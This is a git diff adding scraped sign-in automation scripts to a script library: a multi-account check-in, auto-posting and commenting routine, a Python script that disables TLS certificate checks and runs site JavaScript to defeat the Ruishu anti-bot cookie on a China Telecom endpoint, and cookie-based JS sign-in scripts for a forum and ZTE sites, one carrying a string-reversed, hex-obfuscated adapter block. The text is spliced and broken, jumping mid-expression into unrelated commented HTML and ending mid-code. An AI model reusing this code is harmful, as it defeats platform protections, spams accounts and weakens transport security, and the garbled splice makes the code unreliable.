print("🚀 正在签到...") + punch_in(token) + + print("\n📝 正在发布帖子...") + post_id = post_to_breo(token, "这是一个自动发布的帖子", "自动化测试") + if post_id: + print("\n⭐ 正在收藏帖子...") + collect_post(token, post_id) + + print("\n💬 正在评论帖子...") + comment_post(token, post_id) + else: + print("❌ 发帖失败,跳过后续操作。") + + print("\n🛒 正在浏览商城...") + browse_mall(token) + + print(f"-------------- 账号 {i} 结束 --------------") + + print("\n=============== 所有任务执行完毕 ===============") diff --git a/脚本库/web版/抓包/function_res_{/2025-06-28_Ruishu_0132420d.py b/脚本库/web版/抓包/function_res_{/2025-06-28_Ruishu_0132420d.py new file mode 100644 index 0000000..023f376 --- /dev/null +++ b/脚本库/web版/抓包/function_res_{/2025-06-28_Ruishu_0132420d.py @@ -0,0 +1,277 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/Ruishu.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/Ruishu.py +# Repo: jdqlscript/toulu +# Path: Ruishu.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 0132420d27d358f8cd91749b877206aee7e2a86cec5cd99c8c119392e4d604f3 +# Category: web版/抓包 +# Evidence: web/H5关键词 + cookie/token/header + + +/* +#TL库:https://github.com/3288588344/toulu.git +#tg频道:https://t.me/TLtoulu +#QQ频道:https://pd.qq.com/s/672fku8ge +#微信机器人:kckl6688 +#公众号:哆啦A梦的藏宝箱 +*/ + + + + + +import os +import ssl +import time +import json +import execjs +import base64 +import random +import certifi +import aiohttp +import asyncio +import requests +from http import cookiejar +from Crypto.Cipher import DES3 +from Crypto.Util.Padding import pad, unpad +from aiohttp import ClientSession, TCPConnector +import httpx +httpx._config.DEFAULT_CIPHERS += ":ALL:@SECLEVEL=1" +diffValue = 2 +filename='Cache.js' +if os.path.exists(filename): + with open(filename, 'r', encoding='utf-8') as file: + fileContent = file.read() +else: + fileContent='' + +class BlockAll(cookiejar.CookiePolicy): + return_ok = set_ok = domain_return_ok = path_return_ok = lambda self, *args, **kwargs: False + netscape = True + rfc2965 = hide_cookie2 = False + +def printn(m): + print(f'\n{m}') + +context = ssl.create_default_context() +context.set_ciphers('DEFAULT@SECLEVEL=1') # 低安全级别0/1 +context.check_hostname = False # 禁用主机 +context.verify_mode = ssl.CERT_NONE # 禁用证书 + +class DESAdapter(requests.adapters.HTTPAdapter): + def init_poolmanager(self, *args, **kwargs): + kwargs['ssl_context'] = context + return super().init_poolmanager(*args, **kwargs) + +requests.DEFAULT_RETRIES = 0 +requests.packages.urllib3.disable_warnings() +ss = requests.session() +ss.headers = {"User-Agent": "Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36", "Referer": "https://wapact.189.cn:9001/JinDouMall/JinDouMall_independentDetails.html"} +ss.mount('https://', DESAdapter()) +ss.cookies.set_policy(BlockAll()) +runTime = 0 +sleepTime = 1 +key = b'1234567`90koiuyhgtfrdews' +iv = 8 * b'\0' + +def encrypt(text): + cipher = DES3.new(key, DES3.MODE_CBC, iv) + ciphertext = cipher.encrypt(pad(text.encode(), DES3.block_size)) + return ciphertext.hex() + +def decrypt(text): + ciphertext = bytes.fromhex(text) + cipher = DES3.new(key, DES3.MODE_CBC, iv) + plaintext = unpad(cipher.decrypt(ciphertext), DES3.block_size) + return plaintext.decode() + +def initCookie(getUrl='https://wapact.189.cn:9001/gateway/standQuery/detailNew/exchange'): + global js_code_ym, fileContent + cookie = '' + response = httpx.post(getUrl) + content = response.text.split(' content="')[2].split('" r=')[0] + code1 = response.text.split('$_ts=window')[1].split(' +// +//

+// +// +//

+// ]]> + +// +// 提示信息关闭 +//
+//
+//
+//

+// +// +//

+// ]]>
+ + // 获取签到天数数据、获取积分 + headers={ + "Host": "www.wnflb2023.com", + // "Content-Type": "application/x-www-form-urlencoded", + "Cookie":cookie, + // "Cookie":"" + } + + resp = HTTP.get( + url1, + { headers: headers } + ); + // console.log(resp.text()) + // 正则匹配 + // const Reg = /你已经连续签到(.*?)天,再接再厉!/i; + Reg = [ + /累计签到:(.+?)<\/i>天/i, + /已连续签到:(.+?)<\/i>天/i, + /showmenu">积分: (.+?)<\/a>/i, + ] + + valueName = [ + "累计签天数", "已连签天数","当前积分", + ] + + html = resp.text(); + // console.log(html) + resultall = "" + for(i=0; i< Reg.length; i++) + { + flagTrue = Reg[i].test(html); // 判断是否存在字符串 + if (flagTrue == true) { + let result = Reg[i].exec(html); // 提取匹配的字符串,["你已经连续签到 1 天,再接再厉!"," 1 "] + // result = result[0]; + result = result[1]; + if(result == "{days}" || result == "{constant}" ){ + + }else{ + content = "🎉 " + valueName[i] + ":" + result + " " + messageSuccess += content; + console.log(content) + } + + } else { + content = "❌ " +"签到数据获取失败 " + messageFail += content; + } + } + + // // 获取积分 + // // 正则匹配,获取formhash + // formhash = "" + // // const Reg = /你已经连续签到(.*?)天,再接再厉!/i; + // Reg = [ + // /formhash=(.+?)&/i, + // /showmenu">积分: (.+?)<\/a>/i, + + // ] + + // valueName = [ + // "formhash", "当前积分", + // ] + + // // html = resp.text(); + // // console.log(html) + // for(i=0; i< Reg.length; i++) + // { + // flagTrue = Reg[i].test(html); // 判断是否存在字符串 + // if (flagTrue == true) { + // let result = Reg[i].exec(html); // 提取匹配的字符串,["你已经连续签到 1 天,再接再厉!"," 1 "] + // // result = result[0]; + // result = result[1]; + // formhash = result + // if(i == 1){ + // content = valueName[i] + ":" + result + " " + // messageSuccess += content; + // }else + // { + // content = "formhash:" + result + " " + // } + + // console.log(content) + // } else { + // content = "formhash获取失败 " + // messageFail += content; + // } + // } + + // } catch { + // messageFail += messageName + "失败"; + // } + + sleep(2000); + if (messageOnlyError == 1) { + messageArray[posLabel] = messageFail; + } else { + if(messageFail != ""){ + messageArray[posLabel] = messageFail + " " + messageSuccess; + }else{ + messageArray[posLabel] = messageSuccess; + } + } + + if(messageArray[posLabel] != "") + { + console.log(messageArray[posLabel]); + } +} diff --git a/脚本库/web版/账密/中兴商城/2025-08-25_ztemall_0a7d6031.js b/脚本库/web版/账密/中兴商城/2025-08-25_ztemall_0a7d6031.js new file mode 100644 index 0000000..42c7ee5 --- /dev/null +++ b/脚本库/web版/账密/中兴商城/2025-08-25_ztemall_0a7d6031.js @@ -0,0 +1,494 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/ztemall.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ztemall.js +// # Repo: imoki/sign_script +// # Path: polymerization/ztemall.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 0a7d603145485f774c1078c4b22950dfe8420508397dc2666980208643ed520f +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "中兴商城" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20250719 + 环境变量名:无 + 环境变量值:无 + 备注:需要Cookie。 + 抓包工具抓取所需的值或者网页端获取所需的值。浏览器访问网页版中兴社区,F12 -> "NetWork"(中文名叫"网络") -> 按一下Ctrl+R -> /cn -> cookie + 中兴商城网址:https://www.ztemall.com/cn/ +*/ + +var sheetNameSubConfig = "ztemall"; // 分配置表名称 +var pushHeader = "【中兴商城】"; +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +qlSwitch = 0 + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i "NetWork"(中文名叫"网络") -> 按一下Ctrl+R ->appInfo -> accesstoken + 中兴社区网址:https://bbs.ztedevices.com +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "ztebbs"; // 分配置表名称 +var pushHeader = "【中兴社区】"; +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return 